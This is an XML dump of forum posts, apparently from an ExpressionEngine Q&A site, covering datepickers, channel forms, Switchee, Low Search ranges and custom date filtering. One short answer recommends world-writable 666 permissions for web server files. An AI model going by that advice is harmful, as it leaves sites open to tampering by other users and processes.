  <row Id="14461" PostTypeId="1" AcceptedAnswerId="14463" CreationDate="2013-10-09T22:54:40.247" Score="2" ViewCount="917" Body="&lt;p&gt;I've been searching high and low and have been unable to find a basic guide for including the EE datepicker on a custom field in a Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What code do I need to add to the following to add a datepicker to the input field?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:form channel=&quot;event_public&quot; return=&quot;/&quot; datepicker=&quot;yes&quot; }&#xA;...&#xA;      &amp;lt;label for=&quot;event_date&quot;&amp;gt;Date*&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;event_date&quot; id=&quot;event_date&quot; value=&quot;{event_date}&quot; maxlength=&quot;23&quot; size=&quot;25&quot;&amp;gt;&amp;lt;br /&amp;gt;&#xA;...&#xA;    {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Randy&lt;/p&gt;&#xA;" OwnerUserId="2171" LastActivityDate="2013-10-10T00:13:37.017" Title="How Do I Integrate a Datepicker On a Custom Field Within a Channel Form?" Tags="|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14462" PostTypeId="2" ParentId="14461" CreationDate="2013-10-10T00:11:55.430" Score="2" Body="&lt;p&gt;I think it's automatically included if you make sure to have the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#id13&quot; rel=&quot;nofollow&quot;&gt;channel form css&lt;/a&gt; linked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-10-10T00:11:55.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14463" PostTypeId="2" ParentId="14461" CreationDate="2013-10-10T00:13:37.017" Score="0" Body="&lt;p&gt;I am pretty sure you need to add the &lt;code&gt;datepicker&lt;/code&gt; class to the input. By default, that's the selector that is used for instantiate the jQuery datepicker widget.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-10-10T00:13:37.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14464" PostTypeId="2" ParentId="14453" CreationDate="2013-10-10T01:28:23.903" Score="2" Body="&lt;p&gt;Check your permissions within the status group. Each group that is creating/editing content needs to have permission to each status. So, if the open status is only available to Super Admins and your account isn't a Super Admin, then it won't show Open as an option for you.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-10T01:28:23.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14465" PostTypeId="1" AcceptedAnswerId="14469" CreationDate="2013-10-10T03:29:07.150" Score="1" ViewCount="45" Body="&lt;p&gt;I am writing a plugin that has some part tha shows how many times an entry is viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I wouldn't know the track_view instance in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; but there is no indication which is the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the default track view instance?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-10T06:03:34.010" Title="What is the default track view instance?" Tags="|tracking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14466" PostTypeId="1" AcceptedAnswerId="14487" CreationDate="2013-10-10T04:16:17.063" Score="0" ViewCount="289" Body="&lt;p&gt;How do I set custom form attributes for &lt;code&gt;{exp:channel:form}&lt;/code&gt; tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set this attribute &lt;code&gt;role=&quot;form&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-09-25T02:33:27.060" Title="Channel Forms - How to set Custom Form attributes" Tags="|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14467" PostTypeId="1" AcceptedAnswerId="14483" CreationDate="2013-10-10T04:53:50.960" Score="0" ViewCount="53" Body="&lt;p&gt;This is the first time i've used Switchee and it's not outputting anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code looks correct. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gallery_type is a P&amp;amp;T Switch field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've simplified the code for sake of the example and it still is not outputting anything.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;collections&quot; disable=&quot;categories|category-fields|member-data|pagination&quot; status=&quot;open&quot; limit=&quot;1&quot;}&#xA;{exp:switchee variable=&quot;gallery_type&quot; parse=&quot;inward&quot;}&#xA;{case value=&quot;portrait&quot;}&#xA;Portrait&#xA;{/case}&#xA;&#xA;{case value=&quot;landscape&quot;}&#xA;Landscape&#xA;&#xA;{/case}&#xA;{/exp:switchee}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-10-10T13:18:51.777" Title="switchee code not outputting data" Tags="|switchee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14468" PostTypeId="1" CreationDate="2013-10-10T06:01:08.997" Score="0" ViewCount="110" Body="&lt;p&gt;In the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/examples.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, I don't see anything here on how to display a field with fieldtype of textarea(richtext)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I display that field?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-11T13:02:06.327" Title="Display a custom field with Rich Text Area fieldtype" Tags="|custom-fields|textarea|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14469" PostTypeId="2" ParentId="14465" CreationDate="2013-10-10T06:03:34.010" Score="2" Body="&lt;p&gt;The default is not to track at all. It is purely reliant on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot; rel=&quot;nofollow&quot;&gt;track_view&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plugin always resides inside channel:entries tag, you could attempt to access the TMPL class itself and see if you can access the parameters used for the channel:entries (which will define which track_view is used). Alternatively package the plugin with an extension which hooks into the channel entries to get the parameter - but bit overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could pass the entry_id to the plugin and then read the database to see which track_view has a number and assume that (although not 100% reliable as they may use multiple track_views for different purposes).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-10T06:03:34.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14470" PostTypeId="1" CreationDate="2013-10-10T06:05:48.257" Score="1" ViewCount="119" Body="&lt;p&gt;We have a large site with 100k+ entries in exp_channel_data The admin section straggles when trying to edit entries and change or add channel fields. It takes almost 80 seconds to add or alter a field and more than 10 seconds to list or edit an entry. Is there a way to archive old entries to a different channel (add-on maybe) or something similar? How do we deal with such large sites? You can find more about this here &lt;a href=&quot;http://ellislab.com/forums/viewthread/238313/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/238313/&lt;/a&gt;&#xA;Is there anything we can do about this? - or this is it? EE has its limits. &lt;/p&gt;&#xA;" OwnerUserId="2172" LastActivityDate="2013-10-10T18:09:20.740" Title="Is there a way to archive old entries" Tags="|add-on|channel|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14471" PostTypeId="2" ParentId="14452" CreationDate="2013-10-10T07:44:44.093" Score="0" Body="&lt;p&gt;The main cause of my problem was a self-made accidental typo in config.master.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd inadvertently added 'cce' to $assign_to_config (no idea when or how)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $accessign_to_config;&#xA;if( ! isset($assign_to_config['global_vars']))&#xA;{&#xA;    $assign_to_config['global_vars'] = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;if( ! isset($assign_to_config['global_vars']))&#xA;{&#xA;    $assign_to_config['global_vars'] = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So with that solved, my global variables still weren't parsing inside of Low Variables. There might be an alternative solution, however this worked for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An early-parsed Low Variable containing the preparse parameter&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single&#xA;var=&quot;lv_google_analytics&quot;&#xA;preparse:tracking_code=&quot;{global:google_analytics}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Low Variable: lv_google_analytics&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;  var _gaq = _gaq || [];&#xA;  _gaq.push(['_setAccount', '{tracking_code}']);&#xA;  _gaq.push(['_trackPageview']);&#xA;&#xA;  (function() {&#xA;    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xA;    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xA;    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xA;  })();&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-10-10T07:44:44.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14472" PostTypeId="1" CreationDate="2013-10-10T09:10:26.077" Score="1" ViewCount="147" Body="&lt;p&gt;I have, more or less, have these structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates&#xA;    test.group&#xA;       index.html&#xA;       another-file.html&#xA;       assets&#xA;           styles&#xA;              foo.css&#xA;           scripts   &#xA;              bar.js     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I put some Javascript and CSS files into a template folder in JS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have reasons for this so let's say this is our goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to include &lt;code&gt;foo.css&lt;/code&gt; and &lt;code&gt;bar.css&lt;/code&gt;. To access it, I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{site_url}index.php/test/assets/styles/foo.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;{site_url}index.php/test/assets/scripts/bar.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not work. What I saw was the contents of &lt;code&gt;index.html&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the correct result if you follow EEs template structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to bypass this. I want to be able to access the css and js file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-10T18:30:07.307" Title="Bypass EE's Template Parsing Structure" Tags="|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14473" PostTypeId="2" ParentId="12372" CreationDate="2013-10-10T09:12:06.710" Score="1" Body="&lt;p&gt;On a webserver make sure the files are set to the correct file permissions, which should be rw-rw-rw- 666&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-10-10T09:12:06.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14474" PostTypeId="1" CreationDate="2013-10-10T09:33:11.743" Score="1" ViewCount="55" Body="&lt;p&gt;I looked at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/&quot; rel=&quot;nofollow&quot;&gt;EE's Addons&lt;/a&gt; and the closest thing I can think off is to use Modules. However, the templates that I have in mind are using EE tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at EE's pre-installed modules and they seem to use pure PHP in their view so I am not sure if that will work since I need EE tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to bundle a plugin and templates together so that I can easily transfer it to another EE installation? &lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-11T21:31:22.373" Title="Bundling Plugins and Templates" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14475" PostTypeId="1" AcceptedAnswerId="14478" CreationDate="2013-10-10T10:16:14.170" Score="1" ViewCount="194" Body="&lt;p&gt;I am working on an online directory that will allow users to use the input range type element(a slider) to search for prices. Can this be used with low search this element, or would anyone recommend any other add-ons that would allow for the slider/input range to search my db whilst still using EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jam&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2013-10-10T11:02:16.390" Title="Input Range type - Low Search" Tags="|search|database|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14476" PostTypeId="1" AcceptedAnswerId="14484" CreationDate="2013-10-10T10:29:27.317" Score="0" ViewCount="158" Body="&lt;p&gt;We just moved from development server to live server and are having issues with email settings, we get the following error when trying to send an email:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to protected method CI_Email::_str_to_array() from context 'Tools_communicate' in .../system/expressionengine/controllers/cp/tools_communicate.php on line 627&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to why this would be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-10-10T13:23:50.900" Title="Error when sending email via Communicate" Tags="|php|email|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14477" PostTypeId="1" AcceptedAnswerId="14479" CreationDate="2013-10-10T10:44:59.327" Score="2" ViewCount="1553" Body="&lt;p&gt;I have a channel with a custom field (type &quot;date&quot;) called &lt;code&gt;start&lt;/code&gt;. Now I want a list of all channel entries where the &lt;code&gt;start&lt;/code&gt; date is today or in the future. So according the EE documentary I'm using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar&quot; dynamic=&quot;no&quot; orderby=&quot;start&quot; sort=&quot;asc&quot; start_on=&quot;{current_time format='%Y-%m-%d'}&quot; show_future_entries=&quot;yes&quot;}&#xA;  {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now I only get a list of all entries with the start date = today. All future entries are not shown. It is also not clear for me what field &lt;code&gt;start_on&lt;/code&gt; is looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get this working?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2013-10-10T12:32:32.067" Title="Show all entries from a given custom date field" Tags="|orderby|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14478" PostTypeId="2" ParentId="14475" CreationDate="2013-10-10T11:02:16.390" Score="1" Body="&lt;p&gt;Low Search is front-end agnostic. That is, it doesn't really matter what input fields you use in the search form on the front-end, as long as you name them correctly, so Low Search understands them. Input fields always relate to tag parameters: the input name should be identical to the parameter you would use in the Results tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-ranges&quot; rel=&quot;nofollow&quot;&gt;ranges&lt;/a&gt;, you can either use a single parameter (using the &lt;em&gt;from&lt;/em&gt; and &lt;em&gt;to&lt;/em&gt; values 1 to 10 in this example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;range:field_name=&quot;1;10&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or split it in two parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;range-from:field_name=&quot;1&quot; range-to:field_name=&quot;10&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;field_name&lt;/code&gt; is the field you're targeting for the range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Translated to html input elements, this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;range:field_name&quot; value=&quot;1;10&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;range-from:field_name&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;range-to:field_name&quot; value=&quot;10&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then get the posted values of these parameters using the parameter name, prefixed with &lt;code&gt;low_search_&lt;/code&gt;, so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;{low_search_range:field_name}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{low_search_range-from:field_name}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{low_search_range-to:field_name}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You don't need to use &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;s per se; you could also use &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;s. As long as the &lt;code&gt;name&lt;/code&gt; attribute equals the parameter name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as long as you make sure the names and values are as they should be, you can use any input element you like. How you implement it, is up to you.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-10T11:02:16.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14479" PostTypeId="2" ParentId="14477" CreationDate="2013-10-10T11:12:16.157" Score="5" Body="&lt;p&gt;The &lt;code&gt;start_on&lt;/code&gt; parameter uses the &lt;strong&gt;entry_date&lt;/strong&gt;, not the custom date field you defined. To target the custom field, use the &lt;code&gt;search:&lt;/code&gt; parameter. Also, you need to know how EE stores its date fields: as a Unix timestamp. Which just is a large number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With EE 2.7+, you can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#numeric-matching&quot; rel=&quot;noreferrer&quot;&gt;Numeric matching&lt;/a&gt;, so you could use that too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:my_custom_date_field=&quot;&amp;gt;={current_time}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{current_time}&lt;/code&gt; variable without a &lt;code&gt;format&lt;/code&gt; parameter will output the Unix timestamp for right now, so using that as input for the search:-parameter should give you the desired results.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-10T11:12:16.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14480" PostTypeId="2" ParentId="5033" CreationDate="2013-10-10T11:15:59.670" Score="0" Body="&lt;p&gt;As stated here &lt;a href=&quot;http://mightybigrobot.com/forums/viewthread/7599/&quot; rel=&quot;nofollow&quot;&gt;http://mightybigrobot.com/forums/viewthread/7599/&lt;/a&gt; this issue seems to be solved. Did this have an effect on the above problem? Askin for this update because I am working on a site with Cartthrob and Profile:edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the moderators here, I wanted my post to be a comment, not an answer, did not know how to do that.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2013-10-10T11:15:59.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14481" PostTypeId="2" ParentId="14477" CreationDate="2013-10-10T12:32:32.067" Score="1" Body="&lt;p&gt;Low has pointed out the why of your dilemma. There is one other solution you can consider; &lt;a href=&quot;http://www.solspace.com/docs/date_field_filter/&quot; rel=&quot;nofollow&quot;&gt;Solspace's date field filter&lt;/a&gt;, which allows you to remap the default date ordering functionality (which as Low points out is tied to the entry_date).  This way, you can apply the &quot;proper&quot; ordering parameters for the entries loop, making your custom field the date to use.  So then you wind up with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;date_field=&quot;your_custom_date_field&quot;&#xA;date_field_start=&quot;2012-12-02 12:01 AM&quot;&#xA;date_field_stop=&quot;2012-12-04 11:59 PM&quot;&#xA;orderby=&quot;your_custom_date_field&quot;&#xA;sort=&quot;asc&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;b&amp;gt;{title}&amp;lt;/b&amp;gt; - {date_field format=&quot;%F %j, %Y at %g:%i %a&quot;}&amp;lt;/li&amp;gt;&#xA;    {if no_results}&#xA;        &amp;lt;li&amp;gt;No results found within this time range.&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And like you attempted to do in your entries loop before, you can then replace your date_field_start param value with the current time variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low would certainly know better than I how this approach would compare efficiency-wise relative to using the search parameter. I've used this add-on, which is now free, and it worked great for me. Just thought I would throw another option out there even though Low's suggestion solved it for you.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-10-10T12:32:32.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14482" PostTypeId="1" AcceptedAnswerId="14491" CreationDate="2013-10-10T12:34:24.723" Score="0" ViewCount="570" Body="&lt;p&gt;EE 2.7.1 and Assets 2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Grid fieldtype (&lt;code&gt;static-images&lt;/code&gt;) with an Assets column named &lt;code&gt;image&lt;/code&gt; and a few native text field &amp;amp; dropdown columns. When I have at least one row in the Grid, I get the following error in the frontend:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;A PHP Error was encountered&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Undefined index: grid_row_id&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: assets/ft.assets.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 1310&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(I also get the usual &quot;Cannot modify header information&quot; PHP Warnings after that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reduced the template code that displays the Grid field to the following, which still triggers the PHP Notice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{static-images}&#xA;    {static-images:image:url}&#xA;{/static-images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free Bonus Bug! If I mark the Assets Grid column as &quot;Required&quot; but don't add a file, the in-column error message shows &quot;The %s field is required.&quot; :p&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-10-10T14:30:17.790" Title="Problem with Assets in Grid &quot;Undefined index: grid_row_id; Filename: assets/ft.assets.php; Line Number: 1310&quot;" Tags="|assets|php-errors|grid|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14483" PostTypeId="2" ParentId="14467" CreationDate="2013-10-10T13:18:51.777" Score="2" Body="&lt;p&gt;By this way, the &lt;code&gt;gallery_type&lt;/code&gt; isn't being parsed by the &lt;code&gt;exp:channel:entries&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;collections&quot; disable=&quot;categories|category-fields|member-data|pagination&quot; status=&quot;open&quot; limit=&quot;1&quot;}&#xA;    {exp:switchee variable=&quot;{gallery_type}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;portrait&quot;}&#xA;            Portrait&#xA;        {/case}&#xA;&#xA;        {case value=&quot;landscape&quot;}&#xA;            Landscape&#xA;&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me say that if there isn't any other module tags, you could use traditional conditionals and to have the same performance, because &lt;code&gt;exp:channel:entries&lt;/code&gt; already load everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if you are using another module inside the &lt;code&gt;case&lt;/code&gt;s, switchee is a good call.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-10T13:18:51.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14484" PostTypeId="2" ParentId="14476" CreationDate="2013-10-10T13:23:50.900" Score="1" Body="&lt;p&gt;While I don't know exactly what would be causing the error, I can give you something to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your running the exact same version of EE and all addons etc, the prime suspect for me would be the PHP modules on the live server being different from production. Just pull up phpinfo on development and live servers (you can get to it from Tools &gt; Utilities &gt; PHP Info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YOu shouldn't need to go through the whole config, just check the compile commands on each box, look for any that are missing on the development server to the live server and that should give you a hint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't look to be it, best you provide a bit more info on your setup, so version of EE, any email related addons your running if any, in particular any that affect email handling like Escort etc. This will help anyone else that swings by home in on the issue.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-10-10T13:23:50.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14485" PostTypeId="2" ParentId="14472" CreationDate="2013-10-10T13:26:34.640" Score="2" Body="&lt;p&gt;So far as I know, you can't use nested folders on template groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates&#xA;    test.group&#xA;       index.html&#xA;       another-file.html&#xA;    styles.group&#xA;        foo.css&#xA;    scripts.group&#xA;        bar.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if you templates are on or below the site root, you can try this, what &lt;strong&gt;isn't a good idea&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{site_url}/themes/site_themes/default/test.group/assets/styles/foo.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;{site_url}/themes/site_themes/default/test.group/assets/scripts/bar.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this, if your {site_url} doesn't have a trailing /.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{site_url}themes/site_themes/default/test.group/assets/styles/foo.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;{site_url}themes/site_themes/default/test.group/assets/scripts/bar.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By this way, depending on your server setup, &lt;strong&gt;anybody can find your other templates and see them&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-10-10T18:30:07.307" LastActivityDate="2013-10-10T18:30:07.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
